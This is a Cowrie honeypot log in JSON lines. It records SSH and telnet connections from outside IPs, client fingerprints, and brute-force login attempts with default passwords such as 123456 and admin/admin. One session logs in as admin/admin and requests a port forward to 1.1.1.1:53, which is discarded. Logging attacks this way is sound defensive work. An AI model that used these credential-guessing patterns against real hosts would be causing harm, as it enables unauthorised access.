{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:bf:b0:a2:24:94:d0:d9:96:51:23:c9:f5:94:6a:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD4ypXl1IBdew86rspP3JFf52zJ7L6UmC/uHLTv7TVKbJz/z9PUMmH8RzvRAY7bxuSQODf5U6Dx43T6LVGQEUSjU2z2OkZJnek2PpxzBfCOvZwVWLYdKhHzzL/El+l7Xq9nYQ2nYS9wrwsq6v44QEFQe8T3AhBhzb3o/Gg121zP7xxWJNA+Wh1OYZDKbZtRXty28i+oXDJ32v2jiYg3a6tkdFc1JzsYyYr2VtlJCwcqSAid8AJyzOkwUikpFGTdshkEdvVqWnZPf2Y6bnGCnFzIr/fSqVCNu+/F+WB+Suo23qp4v9kvACp3sPgAQc+/wXoLadt195KZEAQ+p3++VL6X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:01.576095Z","src_ip":"74.48.167.39","session":"1bf2379da87f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:f5:f5:66:32:e6:2b:da:39:cf:ca:13:04:6f:5b:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaBZZbW27dAezSb5BqwTxr2E7/+R2BWQxhEuABZgcAJW/K4+B7/P0yCU7qM/eLK6KfqKc2nHh0zmLXMgIi15YsIBXQ8PP845WauGvcZfgPLqJFfZsMbeSLkQtSbTiOOq6YmkT7eHMq7aGzBFQ3SmbRP8toNOBEuc4k8kZSSabGZa5+mjnw/fusHpF2zo4xo5LFr6Eu8PUvcHMOLMvxc305XWW0GJmzh+B0tFakCMs/zztrnabMoEXxYxHrAjvjZKUjusMktPV6gpzWWnEmCMvfbmXRmXkLDTpIqPFSKLB/RNUFKKTNT7kCF6/dSm362lDb4uFbMaLdEwPAmhMU0hD/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:f5:f5:66:32:e6:2b:da:39:cf:ca:13:04:6f:5b:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:01.647459Z","src_ip":"74.48.167.39","session":"1bf2379da87f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:f5:f5:66:32:e6:2b:da:39:cf:ca:13:04:6f:5b:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaBZZbW27dAezSb5BqwTxr2E7/+R2BWQxhEuABZgcAJW/K4+B7/P0yCU7qM/eLK6KfqKc2nHh0zmLXMgIi15YsIBXQ8PP845WauGvcZfgPLqJFfZsMbeSLkQtSbTiOOq6YmkT7eHMq7aGzBFQ3SmbRP8toNOBEuc4k8kZSSabGZa5+mjnw/fusHpF2zo4xo5LFr6Eu8PUvcHMOLMvxc305XWW0GJmzh+B0tFakCMs/zztrnabMoEXxYxHrAjvjZKUjusMktPV6gpzWWnEmCMvfbmXRmXkLDTpIqPFSKLB/RNUFKKTNT7kCF6/dSm362lDb4uFbMaLdEwPAmhMU0hD/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:01.651372Z","src_ip":"74.48.167.39","session":"1bf2379da87f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:12:21:17:f9:e6:2c:df:63:b6:23:7a:74:b1:7a:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwVrSq1sJ7/7omXQgMjPyTH6mGHkjWCm2ukFF1gBnDLqbNZW6dr2eb+zRIqgLHE6D7Y69SbepygNEu2hiCknPpVhfRfYgAG7dlMgDZJPSp/PjqZetCwUMi53R5KT9VOjjbXRIX7S9U/WHVbO86+O/8Qr62dkHPyZ6vmJZmRg4qRYYZpV2D0JujKmFwWLC7ADDvEaSfzJ77mgJfY6mP1x6DVSiielE3P4nDYGHELAyYvoNuDKjE4ZNDpQWuqHDKrmfkSMUMO5t62CCn5WDcoHA6vO/iusynEIhjkav65dIQBUbbGVyZbj5hUSDyYHUtscSTIGh27IkObr2DnOJsm5wfw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:12:21:17:f9:e6:2c:df:63:b6:23:7a:74:b1:7a:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:01.726967Z","src_ip":"74.48.167.39","session":"1bf2379da87f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:12:21:17:f9:e6:2c:df:63:b6:23:7a:74:b1:7a:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwVrSq1sJ7/7omXQgMjPyTH6mGHkjWCm2ukFF1gBnDLqbNZW6dr2eb+zRIqgLHE6D7Y69SbepygNEu2hiCknPpVhfRfYgAG7dlMgDZJPSp/PjqZetCwUMi53R5KT9VOjjbXRIX7S9U/WHVbO86+O/8Qr62dkHPyZ6vmJZmRg4qRYYZpV2D0JujKmFwWLC7ADDvEaSfzJ77mgJfY6mP1x6DVSiielE3P4nDYGHELAyYvoNuDKjE4ZNDpQWuqHDKrmfkSMUMO5t62CCn5WDcoHA6vO/iusynEIhjkav65dIQBUbbGVyZbj5hUSDyYHUtscSTIGh27IkObr2DnOJsm5wfw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:01.731072Z","src_ip":"74.48.167.39","session":"1bf2379da87f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:01.803693Z","src_ip":"74.48.167.39","session":"1bf2379da87f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:11.952393Z","src_ip":"8.218.166.49","session":"09099045c486","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:17.710343Z","src_ip":"8.218.166.49","session":"81ce290e28bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"62.8","message":"Connection lost after 62.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:17.730966Z","src_ip":"8.218.166.49","session":"09099045c486","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:17.782275Z","src_ip":"8.218.166.49","session":"6b5442c56820","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"75.1","message":"Connection lost after 75.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:22.448940Z","src_ip":"8.218.166.49","session":"81ce290e28bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"43.0","message":"Connection lost after 43.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:22.455147Z","src_ip":"8.218.166.49","session":"6b5442c56820","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:32.386818Z","src_ip":"8.218.166.49","session":"327cf2940dbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":57040,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c29cc71c742","protocol":"ssh","message":"New connection: 8.218.166.49:57040 (10.17.0.5:22) [session: 1c29cc71c742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:44.119686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:44.124288Z","src_ip":"8.218.166.49","session":"1c29cc71c742","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:48.872752Z","src_ip":"8.218.166.49","session":"1c29cc71c742","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":12128,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ab9cd4a369a","protocol":"ssh","message":"New connection: 87.251.64.176:12128 (10.17.0.5:22) [session: 1ab9cd4a369a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:57.030366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:57.035109Z","src_ip":"87.251.64.176","session":"1ab9cd4a369a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:57.131655Z","src_ip":"87.251.64.176","session":"1ab9cd4a369a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:57.422113Z","src_ip":"87.251.64.176","session":"1ab9cd4a369a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:57.521410Z","session":"1ab9cd4a369a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:57.619131Z","src_ip":"87.251.64.176","session":"1ab9cd4a369a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:57.717870Z","src_ip":"87.251.64.176","session":"1ab9cd4a369a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:58.649906Z","src_ip":"8.218.166.49","session":"29ea18537fef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:55:00.535815Z","src_ip":"8.218.166.49","session":"1c29cc71c742","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"27.9","message":"Connection lost after 27.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:55:11.983086Z","src_ip":"8.218.166.49","session":"1c29cc71c742","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00596737861633,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:55:23.157566Z","src_ip":"45.181.139.217","session":"582b4814b148","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00297904014587,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:55:25.482463Z","src_ip":"45.181.139.217","session":"cbcd3f7cd4b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.181.139.217","src_port":63610,"dst_ip":"10.17.0.5","dst_port":23,"session":"654f55d39091","protocol":"telnet","message":"New connection: 45.181.139.217:63610 (10.17.0.5:23) [session: 654f55d39091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:55:26.730833Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":37862,"dst_ip":"10.17.0.5","dst_port":22,"session":"82ab033d3f99","protocol":"ssh","message":"New connection: 8.218.166.49:37862 (10.17.0.5:22) [session: 82ab033d3f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:55:37.404911Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":40642,"dst_ip":"10.17.0.5","dst_port":22,"session":"dde5db99eb4e","protocol":"ssh","message":"New connection: 8.218.166.49:40642 (10.17.0.5:22) [session: dde5db99eb4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:55:51.076452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:55:51.080734Z","src_ip":"8.218.166.49","session":"dde5db99eb4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":38330,"dst_ip":"10.17.0.5","dst_port":22,"session":"a926fb1e122d","protocol":"ssh","message":"New connection: 8.218.166.49:38330 (10.17.0.5:22) [session: a926fb1e122d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:55:58.180075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:55:58.185192Z","src_ip":"8.218.166.49","session":"a926fb1e122d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":38350,"dst_ip":"10.17.0.5","dst_port":22,"session":"bae91389c105","protocol":"ssh","message":"New connection: 8.218.166.49:38350 (10.17.0.5:22) [session: bae91389c105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:56:04.913439Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":45060,"dst_ip":"10.17.0.5","dst_port":22,"session":"196f6413dd3d","protocol":"ssh","message":"New connection: 8.218.166.49:45060 (10.17.0.5:22) [session: 196f6413dd3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:56:21.676860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:56:21.681944Z","src_ip":"8.218.166.49","session":"196f6413dd3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:56:24.553021Z","src_ip":"8.218.166.49","session":"196f6413dd3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:56:32.666385Z","src_ip":"8.218.166.49","session":"196f6413dd3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:56:37.435256Z","src_ip":"8.218.166.49","session":"196f6413dd3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.163","src_port":52948,"dst_ip":"10.17.0.5","dst_port":22,"session":"4919eb55ad60","protocol":"ssh","message":"New connection: 154.16.115.163:52948 (10.17.0.5:22) [session: 4919eb55ad60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:11.065235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:11.069876Z","src_ip":"154.16.115.163","session":"4919eb55ad60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:11.098457Z","src_ip":"154.16.115.163","session":"4919eb55ad60","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:ba:e1:38:8f:fe:25:b3:91:4b:53:95:70:aa:63:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAySdQHGBgGK2hU5s9tASthOgKNIhmq0CmlcSt+e/JMp0isMylU8qY7CW4bWRigKN+Azk8wU+MTbxMuy6NPrzaNYohIpd+hHqUiYMCeSiDsbN/E97tZlRvwCNQuMtUmqIaR5WRvHJL6qt9qMyJGhIkaftlOR2fFJONbI+nJRstk2eCQTfKN6rZkD2g4NXQKobDbGhRJowvARH5xUM+mkEFHnwilnIchNrxC3OSGCQBpiAYAG8WL+0ORV3pF9lCa5R5lUH1WgEMvTO4kb8L8ib/7yjDZZyUt1P3nEUDpXlPSs4Q981gVMRNtjD5LLSueGE0O2eh+f+RqPqIo4R3o507pQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:ba:e1:38:8f:fe:25:b3:91:4b:53:95:70:aa:63:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:11.217152Z","src_ip":"154.16.115.163","session":"4919eb55ad60","protocol":"ssh"}
